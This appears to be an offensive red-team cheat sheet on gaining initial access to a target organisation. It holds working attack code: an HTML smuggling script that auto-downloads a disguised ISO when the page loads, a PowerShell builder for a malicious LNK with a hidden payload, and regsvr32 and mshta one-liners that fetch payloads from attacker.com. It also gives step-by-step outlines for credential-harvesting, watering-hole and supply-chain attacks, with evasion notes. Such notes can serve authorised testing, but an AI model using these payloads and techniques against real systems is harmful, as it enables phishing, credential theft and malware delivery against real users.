Initial Access

Phishing — Email

Payload types (in order of detection likelihood)

1. Macro-enabled Office documents (.xlsm, .docm) — high detection
2. ISO/IMG containers (bypass Mark-of-the-Web) — medium detection
3. HTML smuggling — medium detection
4. LNK files — medium detection
5. PDF with embedded link — lower detection
6. QR code phishing (to mobile) — lowest detection

HTML Smuggling

Deliver payload via JavaScript blob — bypasses email gateways that don't execute JS:

<script>
function d() {
    var data = atob("[BASE64_PAYLOAD]");
    var blob = new Blob([data], {type: 'application/octet-stream'});
    var url = window.URL.createObjectURL(blob);
    var a = document.createElement('a');
    a.href = url;
    a.download = 'update.iso';
    a.click();
}
</script>
<body onload="d()">

LNK Payload

# Create malicious LNK
$lnk = (New-Object -ComObject WScript.Shell).CreateShortcut("$env:TEMP\Update.lnk")
$lnk.TargetPath = "C:\Windows\System32\cmd.exe"
$lnk.Arguments = "/c powershell -w hidden -ep bypass -c [payload]"
$lnk.IconLocation = "C:\Windows\System32\shell32.dll,3"
$lnk.Save()

Phishing — Web (Drive-by)

Credential harvesting site:
1. Clone target's login page (SET / evilginx2)
2. Send link via spearphishing
3. Harvest credentials in real time

Browser-in-the-Browser (BitB):
1. Overlay a fake browser popup simulating SSO login
2. Capture credentials before they reach the real SSO provider

Watering Hole

1. Identify websites frequently visited by target employees (industry forums, tools, regional news)
2. Compromise one of those sites
3. Inject exploit code or credential-harvesting redirect
4. Wait for target employees to visit

Supply Chain Entry

1. Compromise a software vendor used by the target
2. Inject payload into software update
3. Target deploys "legitimate" update
4. Payload executes with software's privileges

Initial Execution (post-delivery)

# Macro-free execution via PowerShell
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand [BASE64]

# Regsvr32 (squiblydoo)
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

# MSHTA
mshta http://attacker.com/payload.hta

Tools

• GoPhish — phishing campaign management
• Evilginx2 — adversary-in-the-middle phishing
• msfvenom — payload generation
• Donut — shellcode generation from .NET

MITRE ATT&CK

• T1566 — Phishing
• T1189 — Drive-by Compromise
• T1195 — Supply Chain Compromise